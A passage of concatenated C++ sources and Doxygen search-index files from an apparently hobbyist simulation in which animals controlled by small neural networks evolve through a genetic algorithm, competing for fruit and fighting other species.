mFloatMap.clear();
mStringMap.clear();
string line;
typeEnum type = NONE;
size_t assignPos;
string key;
while (getline(file, line)) {
if (line.empty() || line.compare(0, commentString.size(), commentString) == 0) {
continue;
}
if (line.compare(0, typeString[INT].size(), typeString[INT]) == 0) {
type = INT;
}
else if (line.compare(0, typeString[FLOAT].size(), typeString[FLOAT]) == 0) {
type = FLOAT;
}
else if (line.compare(0, typeString[STRING].size(), typeString[STRING]) == 0) {
type = STRING;
}
else {
assignPos = line.find(assignChar);
key = line.substr(0, assignPos);
istringstream valueIss(line.substr(assignPos+1));
switch (type) {
case INT : {
int value;
if ((valueIss >> value).fail())
value = 0;
if (mIntMap.count(key)) {
cerr << key << " already exists in mIntMap : using " << mIntMap.find(key)->second << " instead of " << value << endl;
mIntMap.find(key)->second = value;
} else {
mIntMap.insert(pair<string, int>(key, value));
}
if (DEBUG)
cout << mIntMap.find(key)->first << " : " << mIntMap.find(key)->second << endl;
break;
}
case FLOAT : {
float value;
if ((valueIss >> value).fail()) {
value = 0.f;
if (mFloatMap.count(key))
cerr << key << " already exists in mFloatMap : using " << mFloatMap.find(key)->second << " instead of " << value << endl;
mFloatMap.find(key)->second = value;
} else {
mFloatMap.insert(pair<string, float>(key, value));
}
if (DEBUG)
cout << mFloatMap.find(key)->first << " : " << mFloatMap.find(key)->second << endl;
break;
}
case STRING : {
string value = valueIss.str();
if (mStringMap.count(key)) {
cerr << key << " already exists in mStringMap : using " << mStringMap.find(key)->second << " instead of " << value << endl;
mStringMap.find(key)->second = value;
} else {
mStringMap.insert(pair<string, string>(key, value));
}
if (DEBUG)
cout << mStringMap.find(key)->first << " : " << mStringMap.find(key)->second << endl;
break;
}
default :
break;
}
}
}
file.close();
}
void ConfigParser::saveFile(const std::string &fileName) {
if (fileName != "") {
if (fileName.compare(fileName.size()-extensionString.size(), extensionString.size(), extensionString) == 0) {
mFileName = fileName;
} else {
mFileName = fileName + extensionString;
}
}
ofstream file(mFileName.c_str(), ios::out|ios::trunc);
file << '\n' << typeString[INT] << '\n';
for (map<string, int>::iterator it = mIntMap.begin(); it != mIntMap.end(); ++it) {
file << it->first << assignChar << it->second << '\n';
}
file << '\n' << typeString[FLOAT] << '\n';
for (map<string, float>::iterator it = mFloatMap.begin(); it != mFloatMap.end(); ++it) {
file << it->first << assignChar << it->second << '\n';
}
file << '\n' << typeString[STRING] << '\n';
for (map<string, string>::iterator it = mStringMap.begin(); it != mStringMap.end(); ++it) {
file << it->first << assignChar << it->second << '\n';
}
file.close();
}
<file_sep>var class_fruit =
[
[ "Fruit", "class_fruit.html#aa40ce1fdb1b361880d27171f05a2ab5a", null ],
[ "~Fruit", "class_fruit.html#abd3325dd4faef5b64785aa61cd4046fa", null ],
[ "init", "class_fruit.html#a6a7c7d5b678582f6e941e7f78e5fba2e", null ],
[ "init", "class_fruit.html#a231aadb8a3dbf6fe68fc36a0435ff15b", null ]
];<file_sep>var searchData=
[
['radius',['radius',['../class_entity.html#acd7af12063926ab8cd654539328e5532',1,'Entity']]],
['readfile',['readFile',['../class_config_parser.html#adcaa724f20085403bb1beb7918903fdd',1,'ConfigParser']]],
['readfloat',['readFloat',['../class_config_parser.html#a7a4b723bc0f88e966f4b67347b5264cd',1,'ConfigParser']]],
['readint',['readInt',['../class_config_parser.html#a9eb8031a0252a34fcb808dba2b9780e5',1,'ConfigParser']]],
['readstring',['readString',['../class_config_parser.html#abcdb07fdc295e07adefbd338c552c493',1,'ConfigParser']]],
['run',['run',['../class_layer.html#a33387425a6f32b455bdca87496a891c9',1,'Layer::run()'],['../class_neural_network.html#a2daf940807763cd3d81661f93d99e6ba',1,'NeuralNetwork::run()'],['../class_neuron.html#a1d1bedb17ff3d87afcc282421579ad5f',1,'Neuron::run()']]]
];
<file_sep>var searchData=
[
['configparser',['ConfigParser',['../class_config_parser.html',1,'']]]
];
<file_sep>var searchData=
[
['monkey',['MONKEY',['../utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba49dfe965c16e3b6e89dc275b3707f692',1,'utils.h']]]
];
<file_sep>var searchData=
[
['alive',['alive',['../class_animal.html#a38d08d48cf5b16863bb40fa731b06629',1,'Animal']]],
['angle',['angle',['../class_entity.html#abb6791bd923767cdf42a7e3101a6f76d',1,'Entity']]],
['animal',['Animal',['../class_animal.html',1,'Animal'],['../class_animal.html#a1e726a49ec952443190ac62dad22353c',1,'Animal::Animal()']]],
['animal_2ecpp',['animal.cpp',['../animal_8cpp.html',1,'']]],
['animal_2eh',['animal.h',['../animal_8h.html',1,'']]],
['animal_5fangular_5fspeed',['ANIMAL_ANGULAR_SPEED',['../class_animal.html#a4004efb93813a375712ad5d82a404659',1,'Animal']]],
['animal_5flinear_5fspeed',['ANIMAL_LINEAR_SPEED',['../class_animal.html#a4468a9e53e199e90deccd07d2315f13a',1,'Animal']]]
];
<file_sep>var config__parser_8cpp =
[
[ "DEBUG", "config__parser_8cpp.html#ad72dbcf6d0153db1b8d8a58001feed83", null ]
];<file_sep>var searchData=
[
['vect2i',['Vect2i',['../utils_8h.html#adfec4d83ed4c3c15bd0a4dbfb978102e',1,'utils.h']]]
];
<file_sep>var searchData=
[
['fruit',['Fruit',['../class_fruit.html#aa40ce1fdb1b361880d27171f05a2ab5a',1,'Fruit']]]
];
<file_sep>var searchData=
[
['seuil',['SEUIL',['../neuron_8h.html#a4e0d582a51849920d886a5380b470434',1,'neuron.h']]],
['seuil_5fattacking',['SEUIL_ATTACKING',['../animal_8cpp.html#af66075a058e499320a380abe3bea31f4',1,'animal.cpp']]]
];
<file_sep>#include "entity_manager.h"
#include "genetics.h"
using namespace std;
EntityManager::EntityManager()
: DISTANCE_SIGMOID(CFG->readInt("DistanceSigmoid")),
WORLD_SIZE(CFG->readInt("WorldSize")),
BUSHES_NUMBER(CFG->readInt("BushesNumber")),
BUSHES_MIN_SIZE(CFG->readInt("BushesMinSize")),
BUSHES_MAX_SIZE(CFG->readInt("BushesMaxSize")),
BATTLE_MAX_ANGLE(CFG->readInt("BattleMaxAngle")),
ALLOW_FRIENDLY_FIRE(CFG->readInt("AllowFriendlyFire")) {
Species tmp;
// fruits
fruits.clear();
for (int j = 0; j < CFG->readInt("FruitsNumber"); j++) {
fruits.push_back(new Fruit());
}
// animaux
for (int i = 0; i < CFG->readInt("SpeciesNumber"); i++) {
tmp.tab.clear();
// Ajout des animaux
for (int j = 0; j < CFG->readInt("AnimalsNumber"); j++)
tmp.tab.push_back(new Animal());
species.push_back(tmp);
}
init();
// fruits
for (unsigned int j = 0; j < fruits.size(); j++)
fruits[j]->init(bushes[ rand() % bushes.size() ]);
}
EntityManager::~EntityManager() {
// Destruction de toutes les species
for (unsigned int i = 0; i < species.size(); i++) {
for (unsigned int j = 0; j < species[i].tab.size(); j++)
delete species[i].tab[j];
species[i].tab.clear();
}
species.clear();
for (unsigned int i = 0; i < fruits.size(); i++)
delete fruits[i];
fruits.clear();
}
void EntityManager::init() {
// buissons !
bushes.clear();
for (int i = 0; i < BUSHES_NUMBER; i++) {
Bush bush;
float angle = (rand() % 360) * PI / 180.f;
std::normal_distribution<float> normalRandDist(0, WORLD_SIZE/5);
int dist = abs(normalRandDist(generator));
bush.pos.x = std::min(WORLD_SIZE, std::max(0, (int) (WORLD_SIZE/2 + cosf(angle) * dist)));
bush.pos.y = std::min(WORLD_SIZE, std::max(0, (int) (WORLD_SIZE/2 + sinf(angle) * dist)));
bush.size = rand() % (BUSHES_MAX_SIZE - BUSHES_MIN_SIZE) + BUSHES_MIN_SIZE;
bushes.push_back(bush);
}
}
void EntityManager::update() {
// Parcours de toutes les espèces
for (unsigned int i = 0; i < species.size(); i++) {
// Parcours de tous les animaux de l'espece
for (unsigned int j = 0; j < species[i].tab.size(); j++) {
Animal *animal = species[i].tab[j];
if (!animal->isAlive())
continue;
update(animal, i);
}
}
// Parcours de toutes les espèces
for (unsigned int i = 0; i < species.size(); i++) {
// Parcours de tous les animaux de l'espece
for (unsigned int j = 0; j < species[i].tab.size(); j++) {
Animal *animal = species[i].tab[j];
if (!animal->isAlive())
continue;
handleCollisions(animal, i);
}
}
}
void EntityManager::update(Animal *animal, const unsigned int index) {
std::vector<float> inputs;
// Plus proche fruit
addClosestFruit(animal, inputs);
// Plus proche ennemi
addClosestEnemy(animal, index, inputs);
// Plus proche allié
addClosestAlly(animal, index, inputs);
animal->update(inputs);
}
void EntityManager::addClosestEnemy(const Animal *animal, const unsigned int index, std::vector<float> &inputs) {
Position closest(WORLD_SIZE * WORLD_SIZE);
Animal *enemy = NULL;
// find closest in all tabs
for (unsigned int i = 0; i < species.size(); i++) {
if (i == index)
continue;
Animal *tmp = NULL;
tmp = getClosestAnimalFromTab(animal, species[i].tab, closest, false);
if (tmp != NULL)
enemy = tmp;
}
// Give closest's angle/dist to network
addNormalizedPosition(closest, inputs, animal->getAngle());
if (enemy != NULL) {
float angle = animal->getAngle() - enemy->getAngle();
while( angle < -180.f )
angle += 360.f;
while( angle >= 180.f )
angle -= 360.f;
angle /= 360.f;
inputs.push_back(angle);
} else {
inputs.push_back(1.f);
}
}
void EntityManager::addClosestAlly(const Animal *animal, const unsigned int index, std::vector<float> &inputs) {
Position closest(WORLD_SIZE * WORLD_SIZE);
Animal *ally = getClosestAnimalFromTab(animal, species[index].tab, closest, true);
// Give closest's angle/dist to network
addNormalizedPosition(closest, inputs, animal->getAngle());
if (ally != NULL) {
float angle = animal->getAngle() - ally->getAngle();
while( angle < -180.f )
angle += 360.f;
while( angle >= 180.f )
angle -= 360.f;
angle /= 360.f;
inputs.push_back(angle);
} else {
inputs.push_back(1.f);
}
}
void EntityManager::addClosestFruit(const Animal* animal, std::vector<float> &inputs) {
Position closest(WORLD_SIZE * WORLD_SIZE), tmp;
// find closest fruit
for (unsigned int i = 0; i < fruits.size(); i++) {
tmp.pos = wrapPositionDifference(animal->getPos(), fruits[i]->getPos());
tmp.dist = tmp.pos.x * tmp.pos.x + tmp.pos.y * tmp.pos.y;
if (tmp.dist < closest.dist) {
closest = tmp;
}
}
// Give closest's angle/dist to network
addNormalizedPosition(closest, inputs, animal->getAngle());
}
Animal* EntityManager::getClosestAnimalFromTab(const Animal *animal, const std::vector<Animal*> &tab, Position &closestPos, bool animalInTab) {
Position tmp(WORLD_SIZE * WORLD_SIZE);
Animal* closestAnimal = NULL;
for (unsigned int i = 0; i < tab.size(); i++) {
if (!tab[i]->isAlive())
continue;
// Ne pas récupérer un animal dont la distance vaut 0 si l'animal étudié appartient à la liste
if (animalInTab && animal->getPos().x == tab[i]->getPos().x && animal->getPos().y == tab[i]->getPos().y)
continue;
tmp.pos = wrapPositionDifference(animal->getPos(), tab[i]->getPos());
tmp.dist = tmp.pos.x * tmp.pos.x + tmp.pos.y * tmp.pos.y;
if (tmp.dist < closestPos.dist) {
closestPos = tmp;
closestAnimal = tab[i];
}
}
return closestAnimal;
}
Vect2i EntityManager::wrapPositionDifference(const Vect2i a, const Vect2i b) const {
Vect2i tmp(b.x - a.x, b.y - a.y);
if (abs(tmp.x) > WORLD_SIZE / 2)
tmp.x = -1 * sgn(tmp.x) * (WORLD_SIZE - abs(tmp.x));
if (abs(tmp.y) > WORLD_SIZE / 2)
tmp.y = -1 * sgn(tmp.y) * (WORLD_SIZE - abs(tmp.y));
return tmp;
}
void EntityManager::addNormalizedPosition(const Position &p, std::vector<float> &inputs, const float &angle) {
// Si p.dist = worldsize², cette position ne représente rien de réel (aucun closest n'a été trouvé par les autres fonctions)
// Si p est invalide, on donne à l'animal des valeurs limites
if (p.dist == WORLD_SIZE * WORLD_SIZE) {
inputs.push_back(0.f);
inputs.push_back(1.f);
// Sinon
} else {
// we kept squared distance until then, we want real distance
float dist = sqrt(p.dist);
// angle [0; 1[ ( [0; 360°[ ) relatif : angle du mobile - mon angle
inputs.push_back(atan2f(p.pos.y, p.pos.x) / (2 * PI) - angle / 360.f);
// distance as sigmoid so both [0; 1[
inputs.push_back(1.f / (1.f + expf(-dist / DISTANCE_SIGMOID)) * 2.f - 1.f);
}
}
void EntityManager::handleCollisions(Animal *animal, const unsigned int index) {
// index = species of the current animal
// collisions with fruits
for (unsigned int i = 0; i < fruits.size(); i++) {
if (isColliding(animal, fruits[i])) {
animal->incrementScore();
fruits[i]->init(bushes[ rand() % bushes.size() ]);
//cout << "Score " << animal->getScore() << " ate a fruit" << endl;
}
}
// collisions with enemies
Animal *enemy;
for (unsigned int i = 0; i < species.size(); i++) {
// do not check your own species if no friendly fire
if (!ALLOW_FRIENDLY_FIRE && index == i)
continue;
for (unsigned int j = 0; j < species[i].tab.size(); j++) {
enemy = species[i].tab[j];
if (!enemy->isAlive())
continue;
// do not check yourself if friendly fire is on
if (ALLOW_FRIENDLY_FIRE && index == i && enemy->getPos().x == animal->getPos().x && enemy->getPos().y == animal->getPos().y)
continue;
// exit if our animal died
// battle handles collision testing
if (battle(animal, enemy))
return;
}
}
}
bool EntityManager::battle(Animal *animal, Animal *enemy) {
// Difference vector between the two guys
Vect2i diff = wrapPositionDifference( animal->getPos(), enemy->getPos() );
// test collision, 3* radius for the spike
if( (diff.x * diff.x + diff.y * diff.y) >=
2.5 * 2.5 * animal->getRadius() * animal->getRadius())
return false;
// delate angle between 2 guys from PoV of animal
float deltaAngle = atan2f( diff.y, diff.x) * 360.f / (2*PI);
while( deltaAngle < -180.f )
deltaAngle += 360.f;
while( deltaAngle >= 180.f )
deltaAngle -= 360.f;
float animalToEnemy = fmod( fabs( deltaAngle - animal->getAngle() ), 360.f );
float enemyToAnimal = fmod( fabs( deltaAngle + 180.f - enemy->getAngle() ), 360.f );
if( animalToEnemy < BATTLE_MAX_ANGLE ){
enemy->die();
animal->incrementScore();
//cout << "Score " << animal->getScore() << " just killed score " << enemy->getScore() << endl;
}
if( enemyToAnimal < BATTLE_MAX_ANGLE ){
animal->die();
enemy->incrementScore();
//cout << "Score " << enemy->getScore() << " just killed score " << animal->getScore() << endl;
return true;
}
return false;
}
bool EntityManager::isColliding(const Entity *ea, const Entity *eb) const {
Vect2i diff = wrapPositionDifference( ea->getPos(), eb->getPos() );
// return dist(a <-> b) < a.radius + b.radius
return ((diff.x * diff.x +
diff.y * diff.y) <
(ea->getRadius() + eb->getRadius()) * (ea->getRadius() + eb->getRadius()));
}
<file_sep>var class_neuron =
[
[ "Neuron", "class_neuron.html#aac37e4753166ab39e0f4f6d90fdeda57", null ],
[ "~Neuron", "class_neuron.html#a94a250ce7e167760e593979b899745b1", null ],
[ "getDNA", "class_neuron.html#a2626c0a0fa4dbca17dc7fd9b3b390c07", null ],
[ "getDNASize", "class_neuron.html#a40d81d3ea3f2af3e2f3297533132fd31", null ],
[ "initWeights", "class_neuron.html#abb3a85d2adf4a9c5a5b646c83086a2ae", null ],
[ "run", "class_neuron.html#a1d1bedb17ff3d87afcc282421579ad5f", null ],
[ "setDNA", "class_neuron.html#a873e07fce168dfde42961ea151593c9f", null ]
];<file_sep>var searchData=
[
['config_5fparser_2ecpp',['config_parser.cpp',['../config__parser_8cpp.html',1,'']]],
['config_5fparser_2eh',['config_parser.h',['../config__parser_8h.html',1,'']]]
];
<file_sep>var searchData=
[
['fruit_2ecpp',['fruit.cpp',['../fruit_8cpp.html',1,'']]],
['fruit_2eh',['fruit.h',['../fruit_8h.html',1,'']]]
];
<file_sep>var struct_bush =
[
[ "pos", "struct_bush.html#ab3135be5ff260f0e223cb9c64f4aedc3", null ],
[ "size", "struct_bush.html#a3b40c2cda3c709539246d302e74b8168", null ]
];<file_sep>#ifndef GENETICS_H
#define GENETICS_H
#include <vector>
#include <iostream>
#include <stdlib.h>
#include "utils.h"
#include "entity_manager.h"
#include "entity.h"
class Game;
/**
* @brief More or less static class operating the genetic algorithm on all the animal species of the EntityManager
*
* I am not here to discuss the pros and cons of the different implementations of selection, rossover and mutation, however I have quite a lot to say about it.
* Fear not, I might (someday) right some things about these (very interesting) subjects. But for that I need DATA !
* My software doesn't provide any at the time, and every conclusion I might have made is only a result of a subjective observation.
*
* Likewise, I won't here explain the internal working of the algorithms I used. You have the code right here, and the web is full of documentation.
* Googling "rank-based selection", "uniform crossover" and such will teach you everything you need to know.
* Again, I might right something about all this someday.
* However, if you have interesting data on the different mutation operators that work fine on real values, I'm interested !
*
* Sidenotes of the day :
* - Mutation deviation should be variable, but how ?
*
*/
class Genetics {
public:
Genetics();
/**
* @brief Entry point of the GA
* @param manager the EntityManager where to find the species to evolve
*
* Performs the genetic algorithm on every species of the manager
*/
void evolve(EntityManager &manager);
private:
/// @brief Structure used by the GA to store the DNA ans score of every animal
typedef struct AnimalData {
std::vector<float> DNA; ///< The animal DNA
unsigned int score; ///< The animal score
unsigned int selectionScore; ///< The cumulated socre of the animal (to be used by the roulette wheel)
} AnimalData;
/**
* @brief Creation of the parents array using a rank based selection.
* @param animals The input animals array
* @param parents The output parents array
*
* We here create the parents array using the animals array.
* We perform a rank based selection, filling selectionScore with the right input for the roulette function
*/
void selection(const std::vector<Animal*> &animals, std::vector<AnimalData> &parents);
/**
* @brief roulette wheel algorithm
* @param array The AnimalData input array
* @return An individual randomly choosen by the roulette
*
* The algorithm uses the selectionScore value calculated by selection to randomly choose one individual from the input array.
* Please note we don't check the first parent's index value. ie both parents could be the same, resulting in no crossover.
*/
unsigned int roulette(const std::vector<AnimalData> &array) const;
/**
* @brief Performs a uniform crossover of both parents to create new individuals
* @param parents the parents array
* @param fatherIndex The index of the first parent in the parents array
* @param motherIndex The index of the second parent in the parents array
* (I am pro gay marriage, I just needed a var name. Leave me alone.)
* @param children The output children array to fill.
* (About my gay marriage note. I'm sorry. French integrists make me paranoid. Come by someday, we'll have coffee.)
*
* We here use the CrossoverProbability constant defined in config.cfg.
* After every newborn is made, we call mutation.
*/
void crossover( const std::vector<AnimalData> &parents, const unsigned int fatherIndex,
const unsigned int motherIndex, std::vector<AnimalData> &children);
/**
* @brief Performs a mutation on a random gene of the given DNA
* @param DNA The input DNA
*
* As for crossover, we use MutationProbability to choose wether or not mutate the DNA.
* We chose to mutate exactly one random gene from the DNA. It's the least expensive operation, and it's not worse than other solutions.
*
* Using real numbers in genes, the best solution when mutating is to use a gaussian function.
* This way, we know that the new gene's value won't be far away from the old one.
* To control the amplitude of the mutation, we use the constant MutationGaussDeviation, in config.cfg.
* This constant is crucial. Set high, it enhances exploration of new solutions. Set low, it narrows the solutions to a local maximum.
* Because a high mutation breaks potentially good solutions, it would be nice to see the deviation reduce after some generations.
*/
void mutation(std::vector<float> &DNA);
/**
* @brief Static ascending score compare function to be used by stdlib's qsort
* @param a First Animal
* @param b Second Animal
* @return a.score - b.score
*
*/
static int compareAnimalData(const void *a, const void *b);
const int CROSSOVER_PROBABILITY, MUTATION_PROBABILITY;
const float MUTATION_GAUSS_DEVIATION;
};
#endif // GENETICS_H
<file_sep>#ifndef CONFIG_PARSER_H
#define CONFIG_PARSER_H
#include <string>
#include <fstream>
#include <iostream>
#include <sstream>
#include <map>
/**
*
* @param fileName
*
* Utility singleton class parsing a config file (default 'files/config.cfg')
* that contains constants used by a project, organized by type (int, float, string),
* referenced by their name and stored in maps.
*
* I wrote this class a long time ago, to allow me to quickly change any constant int/float/string without recompiling every time.
* Using maps, it can be quite long to process when called a lot. This is why I save all constants in private const in every class I use them.
* I won't discuss its inner working, as it is oooooold.
*/
class ConfigParser {
public :
static void create(const std::string &fileName = "");
static void kill();
static ConfigParser* get();
int readInt(const std::string &key, const int &defaultValue = 0) const;
float readFloat(const std::string &key, const float &defaultValue = 0.f) const;
std::string readString(const std::string &key, const std::string &defaultValue = "") const;
void setInt(const std::string &key, const int &value);
void setFloat(const std::string &key, const float &value);
void setString(const std::string &key, const std::string &value);
void readFile(const std::string &fileName);
void saveFile(const std::string &fileName = "");
private :
ConfigParser(const std::string &fileName);
void initMaps();
static ConfigParser *singleton;
enum typeEnum { INT, FLOAT, STRING, NONE };
const std::string typeString[3];
const std::string commentString;
const std::string extensionString;
const char assignChar;
const std::string defaultFile;
std::string mFileName;
std::map<std::string, int> mIntMap;
std::map<std::string, float> mFloatMap;
std::map<std::string, std::string> mStringMap;
};
#endif // CONFIG_PARSER_H
<file_sep>var searchData=
[
['radius',['radius',['../class_entity.html#acd7af12063926ab8cd654539328e5532',1,'Entity']]]
];
<file_sep>#ifndef ENTITY_H
#define ENTITY_H
#include "utils.h"
/**
* @brief Abstract class represtenting any displayable physical object of the game
*/
class Entity {
public :
Entity();
virtual ~Entity() {}
/**
* @brief Abstract method for object initialisation
*/
virtual void init() = 0;
// getters
Vect2i getPos() const { return pos; }
int getRadius() const { return radius; }
float getAngle() const { return angle; }
protected :
Vect2i pos;
float angle; // degrees
int radius;
const int WORLD_SIZE;
};
#endif // ENTITY_H
<file_sep>var searchData=
[
['species',['Species',['../struct_species.html',1,'']]]
];
<file_sep>var searchData=
[
['entity_2ecpp',['entity.cpp',['../entity_8cpp.html',1,'']]],
['entity_2eh',['entity.h',['../entity_8h.html',1,'']]],
['entity_5fmanager_2ecpp',['entity_manager.cpp',['../entity__manager_8cpp.html',1,'']]],
['entity_5fmanager_2eh',['entity_manager.h',['../entity__manager_8h.html',1,'']]]
];
<file_sep>var searchData=
[
['network',['network',['../class_animal.html#a61e897a85af66b3b8315e313ed86a307',1,'Animal']]]
];
<file_sep>var searchData=
[
['neuralnetwork',['NeuralNetwork',['../class_neural_network.html',1,'']]],
['neuron',['Neuron',['../class_neuron.html',1,'']]]
];
<file_sep>#include "neural_network.h"
NeuralNetwork::NeuralNetwork(unsigned int _inputsNumber, unsigned int _outputsNumber)
: inputsNumber(_inputsNumber), outputsNumber(_outputsNumber) {
initLayers();
}
// Création des couches en fonction des inputs, outputs et des données de config
void NeuralNetwork::initLayers() {
layers.clear();
outputs.clear();
// Couche input : inputsNumber neurones à inputsNumber entrées
// (utiliser le même nombre de neurones que d'entrées pour cette couche est une convention reconnue)
// On rajoute les sorties du tour précédent en entrée du nn - ou pas
// A neural network has 2 layers of neurons, the 3rd is the input one
//layers.push_back(Layer(inputsNumber, inputsNumber));
// Création des couches cachées suivant les données de config
unsigned int inputs = inputsNumber;
for (int i = 0; i < CFG->readInt("HiddenLayersNumber"); i++) {
layers.push_back(Layer(inputs, CFG->readInt("HiddenLayerSize")));
inputs = CFG->readInt("HiddenLayerSize");
}
// Enfin, création de la dernière couche qui a autant de neurones que d'outputs (encore une fois c'est une convention)
layers.push_back(Layer(inputs, outputsNumber));
}
// Run : execute le calcul de tout le NN en fonction d'inputs
std::vector<float> NeuralNetwork::run(const std::vector<float> inputs) {
// on ajoute les sorties du tour précédent en entrée du nn (pour voir))
//outputs.insert(outputs.end(), inputs.begin(), inputs.end());
outputs = inputs;
for (unsigned int i = 0; i < layers.size(); i++) {
outputs = layers[i].run(outputs);
}
return outputs;
}
// Fonction servant à collecter l'ADN pour l'algo génétique
std::vector<float> NeuralNetwork::getDNA() {
std::vector<float> DNA, layerDNA;
for (unsigned int i = 0; i < layers.size(); i++) {
layerDNA = layers[i].getDNA();
DNA.insert(DNA.end(), layerDNA.begin(), layerDNA.end());
}
return DNA;
}
// Et mise à jour de l'ADN après passage de l'algo génétique
void NeuralNetwork::setDNA(const std::vector<float> &DNA) {
std::vector<float>::const_iterator begin = DNA.begin(), end;
for (unsigned int i = 0; i < layers.size(); i++) {
end = begin + layers[i].getDNASize() - 1;
layers[i].setDNA(std::vector<float>(begin, end));
begin = end + 1;
}
}
<file_sep>var searchData=
[
['battleoutput',['battleOutput',['../class_animal.html#a3db09e6629852d9a54dc5b6648d3fb28',1,'Animal']]],
['bush',['Bush',['../struct_bush.html',1,'Bush'],['../fruit_8h.html#a821849b8b231998fc0b5e7b2d20c483d',1,'Bush(): fruit.h']]]
];
<file_sep>#ifndef ANIMAL_H
#define ANIMAL_H
#include <vector>
#include <cmath>
#include "entity.h"
#include "neural_network.h"
/**
* @brief Class representing an animal, containing a brain (NeuralNetwork), that changes the animal's state given game inputs
*/
class Animal : public Entity {
public :
Animal();
virtual ~Animal() {}
virtual void init();
/**
* @brief Give new random position to the animal and set it's neural network's new DNA
* @param DNA The new DNA to give to the NeuralNetwork
*/
void init(const std::vector<float> &DNA);
/**
* @brief Call the brain, giving it game inputs, to update the animal's state
* @param inputs The game inputs to give to the NN
*/
void update(const std::vector<float> inputs);
void incrementScore();
void die();
// getters
bool isAlive() const { return alive; }
int getScore() const { return score; }
int getClosestEnemyAngle() const { return closestEnemyAngle; }
int getClosestFruitAngle() const { return closestFruitAngle; }
int getClosestAllyAngle() const { return closestAllyAngle; }
int getEnemyRelativeAngle() const { return enemyRelativeAngle; }
int getAllyRelativeAngle() const { return allyRelativeAngle; }
/**
* @brief Return a intermediate position between old and new pos given the interpolation rate
* @param interpolation The interpolation rate
* @return A 2D position between old and new pos
*/
Vect2i getDisplayPos(const float &interpolation) const;
/**
* @brief Give the current network's DNA
* @return The current animal's NN DNA
*/
std::vector<float> getDNA();
protected :
/**
* @brief Update the animal's position given 2 network outputs
* @param da [-1; 1] value representing the angular difference between old and new pos
* @param dp [-1; 1] value representing the linear difference between old and new pos
*/
void updatePosition(float da, float dp);
Vect2i lastPos, speed;
int score;
int closestEnemyAngle, closestFruitAngle, closestAllyAngle, enemyRelativeAngle, allyRelativeAngle;
bool alive;
const int ANIMAL_LINEAR_SPEED, ANIMAL_ANGULAR_SPEED;
NeuralNetwork network;
};
#endif // ANIMAL_H
<file_sep>var searchData=
[
['animal_2ecpp',['animal.cpp',['../animal_8cpp.html',1,'']]],
['animal_2eh',['animal.h',['../animal_8h.html',1,'']]]
];
<file_sep>#ifndef UTILS_H
#define UTILS_H
#include <cmath>
#include <random>
#include <iostream>
#include "config_parser.h"
/// Generator used by every c++11 random function (normal, uniform)
static std::default_random_engine generator;
/// shortcut for calling the configParser singleton
#define CFG ConfigParser::get()
/// @brief PI definition in stl depends on installation, so let's define my own
#define PI 3.14159f
/// @brief enumeration to give sense to all the species (used for colouring)
enum { CHICKEN, FOX, SNAKE, LYNX, MONKEY, FISH, TYPES_CNT };
/// @brief A structure reprensenting standard 2D vectors of int, with constructor
typedef struct Vect2i {
int x;
int y;
Vect2i(int _x = 0, int _y = 0) : x(_x), y(_y) {}
}Vect2i;
/**
* @brief Utility function to return the sign of a value
* @param val The value
* @return The sign
*/
template <typename T> static int sgn(T val) {
return (T(0) < val) - (val < T(0));
}
#endif /* UTILS_H */
<file_sep>#include "genetics.h"
Genetics::Genetics()
: CROSSOVER_PROBABILITY(CFG->readInt("CrossoverProbability")), MUTATION_PROBABILITY(CFG->readInt("MutationProbability")),
MUTATION_GAUSS_DEVIATION(CFG->readFloat("MutationGaussDeviation")) {}
void Genetics::evolve(EntityManager &manager) {
std::vector<Species> species = manager.getSpecies();
// for each species
for (unsigned int i = 0; i < species.size(); i++) {
std::vector<AnimalData> children, parents;
selection(species[i].tab, parents);
while (children.size() < parents.size()) {
unsigned int fatherIndex = roulette(parents), motherIndex = roulette(parents);
crossover(parents, fatherIndex, motherIndex, children);
}
// initialise the animals with all these new DNAs
for (unsigned int j = 0; j < children.size(); j++) {
species[i].tab[j]->init(children[j].DNA);
}
}
}
void Genetics::selection(const std::vector<Animal*> &animals, std::vector<AnimalData> &parents) {
unsigned int cumulatedScore = 0, rankScore = 1, lastScore = 0;
// creation of the parents array, unsorted
for (unsigned int i = 0; i < animals.size(); i++) {
AnimalData tmp;
tmp.score = animals[i]->getScore();
tmp.DNA = animals[i]->getDNA();
parents.push_back(tmp);
}
// sorting of the parents array by score
// I love you stl to allow casting vector to array seemlessly
qsort(&parents[0], parents.size(), sizeof(AnimalData), compareAnimalData);
// filling selectioScore for each AnimalData
for (unsigned int i = 0; i < parents.size(); i++) {
if (parents[i].score != lastScore) {
rankScore++;
lastScore = parents[i].score;
}
cumulatedScore += rankScore;
parents[i].selectionScore = cumulatedScore;
}
}
unsigned int Genetics::roulette(const std::vector<AnimalData> &array) const {
std::uniform_int_distribution<int> random(1, array[array.size() - 1].selectionScore);
unsigned int randomValue = random(generator), index = 0;
while (index != array.size() - 1 && randomValue > array[index].selectionScore)
index++;
return index;
}
void Genetics::crossover(const std::vector<AnimalData> &parents, const unsigned int fatherIndex,
const unsigned int motherIndex, std::vector<AnimalData> &children) {
std::uniform_int_distribution<int> randomParent(0, 1);
std::uniform_int_distribution<int> crossoverProbability(0, 100);
// We generate 2 children if possible
if (parents.size() - children.size() >= 2) {
AnimalData child1, child2;
// CROSSOVER_PROBABILITY % chances that we apply crossover
if (crossoverProbability(generator) <= CROSSOVER_PROBABILITY) {
// In selection, we do not verify that the 2 parents are different
// Let's avoid doing a expensive crossover if we are only copying one DNA
if (fatherIndex == motherIndex) {
child1.DNA = parents[fatherIndex].DNA;
child2.DNA = parents[fatherIndex].DNA;
} else {
// uniform crossover of the 2 parents' DNA
for (unsigned int j = 0; j < parents[0].DNA.size(); j++) {
if (randomParent(generator) == 0) {
child1.DNA.push_back(parents[fatherIndex].DNA[j]);
child2.DNA.push_back(parents[motherIndex].DNA[j]);
} else {
child1.DNA.push_back(parents[motherIndex].DNA[j]);
child2.DNA.push_back(parents[fatherIndex].DNA[j]);
}
}
}
} else {
// no crossover
child1.DNA = parents[fatherIndex].DNA;
child2.DNA = parents[motherIndex].DNA;
}
// Mutation of the newborns
mutation(child1.DNA);
mutation(child2.DNA);
children.push_back(child1);
children.push_back(child2);
// Otherwise we only create one child
} else {
AnimalData child;
// CROSSOVER_PROBABILITY % chances that we apply crossover
if (crossoverProbability(generator) <= CROSSOVER_PROBABILITY) {
// In selection, we do not verify that the 2 parents are different
// Let's avoid doing a expensive crossover if we are only copying one DNA
if (fatherIndex == motherIndex)
child.DNA = parents[fatherIndex].DNA;
else {
// uniform crossover
for (unsigned int j = 0; j < parents[0].DNA.size(); j++) {
